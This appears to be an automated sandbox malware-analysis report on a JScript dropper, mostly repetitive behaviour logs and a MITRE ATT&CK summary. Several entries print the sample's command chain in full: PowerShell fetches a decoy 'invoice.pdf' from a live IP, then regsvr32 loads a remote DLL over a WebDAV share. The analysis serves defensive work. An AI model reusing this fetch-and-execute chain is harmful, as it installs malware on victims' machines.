Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4726.js.csv");ITextStream.WriteLine(" entry:6901 f:mbeff");ITextStream.WriteLine(" exec:2 f:mbeff");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49726

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4101			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5767			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep count: 4101 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep count: 5767 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3692	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7456	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2371936048.000002177C25B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2373421684.000002177C25B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3593904098.00000212F982B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3595420669.00000212FF01F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3595586875.00000212FF054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2373269018.000002177C1F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
